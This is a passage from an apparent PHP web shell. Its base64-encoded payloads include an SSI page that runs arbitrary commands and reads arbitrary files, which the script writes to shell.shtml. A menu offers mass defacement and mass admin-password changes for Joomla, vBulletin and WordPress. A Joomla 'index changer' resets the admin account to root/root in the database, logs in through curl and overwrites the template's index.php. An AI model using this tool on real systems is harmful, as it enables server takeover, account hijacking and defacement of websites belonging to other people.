ICAgICAgICA8cCBhbGlnbj0iY2VudGVyIj48Yj4gDQogICAgICAgICAgICAgICAgPGZvbnQgZmFjZT0ic2hlbGwiIHNpemU9IjIiIGNvbG9yPSIjMDBiYjAwIj4gDQogICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZSI+PGZvbnQgb25jbGljaz0idG9nZ2xlKCdpbmMnKTsiIHN0eWxlPSJjdXJzb3I6aGFuZDsiIGNvbG9yPSIjMDA5OTAwIj5WaWV3IEZpbGVzPC9mb250Pjwvc3Bhbj48L2ZvbnQ+PC9iPjwvcD4gDQogICAgICAgICAgICAgICAgPHA+Jm5ic3A7PHAgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC90ZD4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSI0MjIiIHdpZHRoPSI4MiUiIHN0eWxlPSJib3JkZXI6IDFweCBkb3R0ZWQgIzAwNzcwMCIgYWxpZ249ImNlbnRlciI+IA0KICAgICAgICAgICAgPGZvbnQgY29sb3I9JyMwMDk5MDAnIHNpemU9JzInPlNvZndhcmUgOiA8IS0tI2VjaG8gdmFyPSJTRVJWRVJfU09GVFdBUkUiIC0tPjxicj5JUCA6PCEtLSNlY2hvIHZhcj0iUkVNT1RFX0FERFIiIC0tPjwvZm9udD48YnI+IA0KICAgICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwgQmxhY2snIGNvbG9yPScjMDA5OTAwJyBzaXplPScxJz4gDQoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio8YnI+IA0KPGRpdiBpZD0iaW5mIiBzdHlsZT0iIj48YnI+ICANCjxiPjxmb250IGNvbG9yPSIjMDBiYjAwIj5Db25uZWN0IFNlcnZlcjwvZm9udD48L2I+OiZuYnNwOyZuYnNwOyZuYnNwOzxiPjwhLS0jZWNobyB2YXI9IlNFUlZFUl9OQU1FIiAtLT48L2I+PGJyPiAgDQo8Yj48Zm9udCBjb2xvcj0iIzAwYmIwMCI+UmVtb3RlIElwPC9mb250PjwvYj46Jm5ic3A7Jm5ic3A7Jm5ic3A7PGI+PCEtLSNlY2hvIHZhcj0iUkVNT1RFX0FERFIiIC0tPjwvYj48YnI+ICANCjxiPjxmb250IGNvbG9yPSIjMDBiYjAwIj5TZXJ2ZXIgU29mdHdhcmU8L2ZvbnQ+PC9iPjombmJzcDsmbmJzcDsmbmJzcDs8Yj48IS0tI2VjaG8gdmFyPSJTRVJWRVJfU09GVFdBUkUiIC0tPjwvYj48YnI+IA0KPGI+PGZvbnQgY29sb3I9IiMwMGJiMDAiPkN1cnJlbnQgRGlyPC9mb250PjwvYj46Jm5ic3A7Jm5ic3A7Jm5ic3A7PGI+PCEtLSNlY2hvIHZhcj0iRE9DVU1FTlRfUk9PVCIgLS0+PC9iPjxicj4gIA0KPGJyPjwvZGl2PiANCjxkaXYgIGJvcmRlcj0iMCIgaWQ9InNobCIgc3R5bGU9IiI8IS0tI2lmIGV4cHI9IlwiJFJFUVVFU1RfTUVUSE9EXCIgIT0gXCJHRVRcIiIgLS0+ZGlzcGxheTpibG9jazs8IS0tI2VuZGlmIC0tPj4gIA0KPGJyPjxiPjxmb250IGNvbG9yPSIjMDBiYjAwIj5FbnRlciBjb21tYW5kPC9mb250PjwvYj46Jm5ic3A7Jm5ic3A7Jm5ic3A7PGZvcm0gbWV0aG9kPWdldCBvbnN1Ym1pdD1kb2l0KCdjb21tYW5kJyk7PjxpbnB1dCB0eXBlPXRleHQgc2l6ZT04MCB2YWx1ZT1kaXIgaWQ9Y29tbWFuZD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Q29tbWFuZD48L2Zvcm0+PGJyPiAgDQo8Y2VudGVyPjxiPjxmb250IHNpemU9KzE+UmVzdWx0czwvZm9udD48L2I+PC9jZW50ZXI+ICANCjxicj4gIA0KPGI+PGZvbnQgY29sb3I9IiMwMGJiMDAiPkV4ZWN1dGUgY29tbWFuZDwvZm9udD48L2I+OiZuYnNwOyZuYnNwOyZuYnNwOzxiPjwhLS0jZWNobyB2YXI9c2hsIC0tPjwvYj48YnI+ICANCjx0ZXh0YXJlYSBjbGFzcz0iYXJlYSIgY29scz0iMTIxIiByb3dzPSIxNSI+ICANCjwhLS0jZXhlYyBjbWQ9JHNobCAtLT4gIA0KPC90ZXh0YXJlYT4gIA0KPC9kaXY+ICANCjxkaXYgaWQ9ImluYyIgc3R5bGU9ImRpc3BsYXk6bm9uZSI+PCEtLSNpZiBleHByPSJcIiRSRVFVRVNUX01FVEhPRFwiICE9IFwiUE9TVFwiIiAtLT48IS0tI2VuZGlmIC0tPjxicj4gIA0KPGI+PGZvbnQgY29sb3I9IiMwMGJiMDAiPkVudGVyIFRoZSBGaWxlIE5hbWUgPC9mb250PjwvYj46Jm5ic3A7Jm5ic3A7Jm5ic3A7PGZvcm0gbWV0aG9kPXBvc3Qgb25zdWJtaXQ9ZG9pdCgndmZpbGUnKTs+PGlucHV0IHR5cGU9dGV4dCBzaXplPTgwIGlkPXZmaWxlPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1SdW4+PC9mb3JtPjxicj4gIA0KPGI+PGZvbnQgY29sb3I9IiMwMGJiMDAiPk9wZW4gRmlsZTwvZm9udD48L2I+OiZuYnNwOyZuYnNwOyZuYnNwOzxiPjwhLS0jZWNobyB2YXI9aW5jIC0tPjwvYj48YnI+ICANCjxiPjxmb250IGNvbG9yPSIjMDBiYjAwIj5TaXplIDwvZm9udD48L2I+OiZuYnNwOyZuYnNwOyZuYnNwOzxiPjwhLS0jZnNpemUgdmlydHVhbD0kaW5jIC0tPiZuYnNwO2J5dGVzPC9iPjxicj4gIA0KPHRleHRhcmVhIGNsYXNzPSJhcmVhIiBjb2xzPSIxMjEiIHJvd3M9IjE1Ij4gIA0KPCEtLSNpbmNsdWRlIHZpcnR1YWw9JGluYyAtLT4gIA0KPC90ZXh0YXJlYT4gIA0KPGJyPjwvZGl2PiAgDQoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio8L2ZvbnQ+PC9zcGFuPjwvcD4gDQoNCiAgICAgICAgICAgICANCiAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICA8L3RyPiANCiAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBzdHlsZT0iYm9yZGVyOiAycHggZG90dGVkICMwMDc3MDAiPiANCiAgICAgICAgICAgIDxwIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJncmVlbiIgc2l6ZT0iMiIgZmFjZT0iaW1wYWN0Ij48YnI+IA0KICAgICAgICAgICAgPGJyPjxhIGhyZWY9IkFub25HaG9zdCI+QW5vbkdob3N0PC9hPiANCiAgICAgICAgICAgICAgICAgIDxicj4gDQogICAgICAgICAgICA8L2ZvbnQ+PC90ZD4gDQogICAgICAgIDwvdHI+IA0KICAgIDwvdGFibGU+IA0KPC9kaXY+IA0KPC9ib2R5PiANCjwvaHRtbD4gIA==';
$file = fopen("shell.shtml" ,"w+");
$write = fwrite ($file ,base64_decode($ROFL));
fclose($file);

echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Shtml Shell Command</font></span><center><br><iframe src=shell.shtml width=75% height=60% frameborder=0></iframe></div></center>"; 
}
if(isset($_GET['action']) && $_GET['action'] == 'joommlallainxc'){
echo '<center><b class="conte">
<a href="?action=mass">Mass Deface Dirs</a> -
<a href="?action=joomla">Mass Change Admin Joomla</a> -
<a href="?action=vb">Mass Change Admin vBulletin</a> -
<a href="?action=wp">Mass Change Admin Mass WordPress</a> -
<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
<a href="?action=joommlallainxc">Joomla Index Changer</a> -
<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
</b>';

//extract joomla index changer
$coddd = 'PGxpbmsgaHJlZj0naHR0cDovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9T3JiaXRyb246NzAwJyByZWw9J3N0eWxlc2hlZXQnIHR5cGU9J3RleHQvY3NzJz4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5IHsNCmJhY2tncm91bmQ6DQp1cmwoImh0dHA6Ly9pLmltZ3VyLmNvbS9oZzIxeFo5LnBuZyIpIHJlcGVhdCAsIA0KdXJsKCJodHRwOi8vd3d3LmRlc2t0b3Bhcy5jb20vZmlsZXMvMjAxMi8xMS8xOC9ibHVlLWFuZC1ibGFjay1hYnN0cmFjdC0xNjAweDkwMC5qcGciKSBuby1yZXBlYXQgY2VudGVyIHRvcCx0b3AgbGVmdCx0b3AgcmlnaHQ7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KPC9zdHlsZT4NCjxmb250IGZhY2U9J09yYml0cm9uJz4NCjw/cGhwDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojICAgICAgQ2hhbmdlIEpvb21sYSBJbmRleCAgICAgICAgICAgICAgICAjDQojICAgICAgQ29kZWQgQnkgUkFCM09VTiAgICAgICAgICAgICAgICAgICAjDQojICAgICAgICAgIHYuYi00QGhvdG1haWwuY29tICAgICAgICAgICAgICAjDQojCSAgaHR0cDovL3d3dy5yYWIzb3VuLm5ldC8gICAgICAgICAjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCmlmICgkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10pDQp7DQoNCiRoPSI8PyBlY2hvKHN0cmlwc2xhc2hlcyhiYXNlNjRfZGVjb2RlKCciLnVybGVuY29kZShiYXNlNjRfZW5jb2RlKHN0cl9yZXBsYWNlKCInIiwiJyIsKCRfUE9TVFsnY29kZSddKSkpKS4iJykpKTsgZXhpdDsgPz4iOw0KDQogJGRicHJlZml4PSgkX1BPU1RbJ2RiX3ByZWZpeCddKTsNCiAkdXNlcm5hbWU9KCRfUE9TVFsnZGJfdXNlcm5hbWUnXSk7DQogJHBhc3N3b3JkPSgkX1BPU1RbJ2RiX3Bhc3N3b3JkJ10pOw0KICRkYm5hbWU9KCRfUE9TVFsnZGJfbmFtZSddKTsNCiAgJHNpdGVfdXJsPSgkX1BPU1RbJ3NpdGVfdXJsJ10pOw0KDQokY289cmFuZG9tdCgpOw0KDQoNCg0KICAgICAgJGxpbms9bXlzcWxfY29ubmVjdCgibG9jYWxob3N0IiwkdXNlcm5hbWUsJHBhc3N3b3JkKSA7DQoNCiAgICAgICAgIG15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCRsaW5rKSA7DQoNCiR0cnlDaGFuaW5nSW5mbyA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgIi4kZGJwcmVmaXguInVzZXJzIFNFVCB1c2VybmFtZSA9J3Jvb3QnICwgcGFzc3dvcmQgPSAnNjNhOWYwZWE3YmI5ODA1MDc5NmI2NDllODU0ODE4NDUnIik7DQplY2hvKCI8YnI+WytdIENoYW5naW5nIHJvb3QgcGFzc3dvcmQgdG8gcm9vdCIpOwkNCgkJIA0KCQkgJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRkYnByZWZpeC4iZXh0ZW5zaW9uc2AgIik7DQoJCSANCmlmICggJHJlcSApDQp7DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAgICAgICAgVjEuNiAgICAgICAgICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCgkJDQokcmVxID1teXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIuJGRicHJlZml4LiJ0ZW1wbGF0ZV9zdHlsZXNgIFdIRVJFIGNsaWVudF9pZD0nMCcgYW5kIGhvbWU9JzEnIik7DQoJICRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7DQokdGVtcGxhdGVfbmFtZT0kZGF0YVsidGVtcGxhdGUiXTsNCg0KJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRkYnByZWZpeC4iZXh0ZW5zaW9uc2AgV0hFUkUgbmFtZT0nIi4kdGVtcGxhdGVfbmFtZS4iJyIpOw0KCSAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KJHRlbXBsYXRlX2lkPSRkYXRhWyJleHRlbnNpb25faWQiXTsNCg0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwIjsNCg0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCg0KDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRyZXR1cm49ZW50cmUydjIoJGJ1ZmZlciAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJldHVybiIgdmFsdWU9IicsJyInKTsNCiRoaWRkZW49ZW50cmUydjIoJGJ1ZmZlciAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IicsJyIgdmFsdWU9IjEiJyw0KTsNCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHAiOw0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywidXNlcm5hbWU9cm9vdCZwYXNzd2Q9cm9vdCZvcHRpb249Y29tX2xvZ2luJnRhc2s9bG9naW4mcmV0dXJuPSIuJHJldHVybi4iJiIuJGhpZGRlbi4iPTEiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KJHBvcyA9IHN0cnBvcygkYnVmZmVyLCJjb21fY29uZmlnIik7DQppZigkcG9zID09PSBmYWxzZSkgew0KZWNobygiPGJyPlstXSBMb2dpbiBFcnJvciIpOw0KZXhpdDsNCn0NCmVsc2Ugew0KZWNobygiPGJyPlsrXSBMb2dpbiBTdWNjZXNzZnVsIik7DQp9DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocD9vcHRpb249Y29tX3RlbXBsYXRlcyZ0YXNrPXNvdXJjZS5lZGl0JmlkPSIuYmFzZTY0X2VuY29kZSgkdGVtcGxhdGVfaWQuIjppbmRleC5waHAiKTsNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokaGlkZGVuMj1lbnRyZTJ2MigkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJywnIiB2YWx1ZT0iMSInLDIpOw0KaWYoJGhpZGRlbjIpIHsNCmVjaG8oIjxicj5bK10gaW5kZXgucGhwIGZpbGUgZm91bmRlZCBpbiBUaGVtZSBFZGl0b3IiKTsNCn0NCmVsc2Ugew0KZWNobygiPGJyPlstXSBpbmRleC5waHAgTm90IGZvdW5kIGluIFRoZW1lIEVkaXRvciIpOw0KZXhpdDsNCn0NCmVjaG8oIjxicj5bKl0gVXBkYXRpbmcgSW5kZXgucGhwIC4uLi4uIik7DQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHA/b3B0aW9uPWNvbV90ZW1wbGF0ZXMmbGF5b3V0PWVkaXQiOw0KDQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJqZm9ybVtzb3VyY2VdPSIuJGguIiZqZm9ybVtmaWxlbmFtZV09aW5kZXgucGhwJmpmb3JtW2V4dGVuc2lvbl9pZF09Ii4kdGVtcGxhdGVfaWQuIiYiLiRoaWRkZW4yLiI9MSZ0YXNrPXNvdXJjZS5zYXZlIik7DQoNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KJHBvcyA9IHN0cnBvcygkYnVmZmVyLCc8ZGQgY2xhc3M9Im1lc3NhZ2UgbWVzc2FnZSI+Jyk7DQppZigkcG9zID09PSBmYWxzZSkgew0KZWNobygiPGJyPlstXSBVcGRhdGluZyBJbmRleC5waHAgRXJyb3IiKTsNCmV4aXQ7DQp9DQplbHNlIHsNCmVjaG8oIjxicj5bK10gSW5kZXgucGhwIHN1Y2Nlc3NmdWxseSBzYXZlZCIpOw0KfQ0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgICAgICBWMS42ICBFTkQgICAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQoNCn0NCmVsc2UNCnsNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgICAgICBWMS41ICAgICAgICAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KCQkgDQokcmVxID1teXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIuJGRicHJlZml4LiJ0ZW1wbGF0ZXNfbWVudWAgV0hFUkUgY2xpZW50X2lkPScwJyIpOw0KCSAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KJHRlbXBsYXRlX25hbWU9JGRhdGFbInRlbXBsYXRlIl07DQoNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocCI7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokaGlkZGVuPWVudHJlMnYyKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsMyk7DQoNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocCI7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJ1c2VybmFtZT1yb290JnBhc3N3ZD1yb290Jm9wdGlvbj1jb21fbG9naW4mdGFzaz1sb2dpbiYiLiRoaWRkZW4uIj0xIik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwiY29tX2NvbmZpZyIpOw0KDQppZigkcG9zID09PSBmYWxzZSkgew0KZWNobygiPGJyPlstXSBMb2dpbiBFcnJvciIpOw0KZXhpdDsNCn0NCmVsc2Ugew0KZWNobygiPGJyPlsrXSBMb2dpbiBTdWNjZXNzZnVsIik7DQp9DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocD9vcHRpb249Y29tX3RlbXBsYXRlcyZ0YXNrPWVkaXRfc291cmNlJmNsaWVudD0wJmlkPSIuJHRlbXBsYXRlX25hbWU7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokaGlkZGVuMj1lbnRyZTJ2MigkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJywnIiB2YWx1ZT0iMSInLDYpOw0KDQppZigkaGlkZGVuMikgew0KZWNobygiPGJyPlsrXSBpbmRleC5waHAgZmlsZSBmb3VuZGVkIGluIFRoZW1lIEVkaXRvciIpOw0KfQ0KZWxzZSB7DQplY2hvKCI8YnI+Wy1dIGluZGV4LnBocCBOb3QgZm91bmQgaW4gVGhlbWUgRWRpdG9yIik7DQp9DQoNCmVjaG8oIjxicj5bKl0gVXBkYXRpbmcgSW5kZXgucGhwIC4uLi4uIik7DQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHA/b3B0aW9uPWNvbV90ZW1wbGF0ZXMmbGF5b3V0PWVkaXQiOw0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywiZmlsZWNvbnRlbnQ9Ii4kaC4iJmlkPSIuJHRlbXBsYXRlX25hbWUuIiZjaWRbXT0iLiR0ZW1wbGF0ZV9uYW1lLiImIi4kaGlkZGVuMi4iPTEmdGFzaz1zYXZlX3NvdXJjZSZjbGllbnQ9MCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwnPGRkIGNsYXNzPSJtZXNzYWdlIG1lc3NhZ2UgZmFkZSI+Jyk7DQppZigkcG9zID09PSBmYWxzZSkgew0KZWNobygiPGJyPlstXSBVcGRhdGluZyBJbmRleC5waHAgRXJyb3IiKTsNCmV4aXQ7DQp9DQplbHNlIHsNCmVjaG8oIjxicj5bK10gSW5kZXgucGhwIHN1Y2Nlc3NmdWxseSBzYXZlZCIpOw0KfQ0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgICAgICBWMS41ICBFTkQgICAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQp9DQoNCn0NCg0KDQpmdW5jdGlvbiByYW5kb210KCkgeyANCg0KICAgICRjaGFycyA9ICJhYmNkZWZnaGlqa21ub3BxcnN0dXZ3eHl6MDIzNDU2Nzg5IjsgDQogICAgc3JhbmQoKGRvdWJsZSltaWNyb3RpbWUoKSoxMDAwMDAwKTsgDQogICAgJGkgPSAwOyANCiAgICAkcGFzcyA9ICcn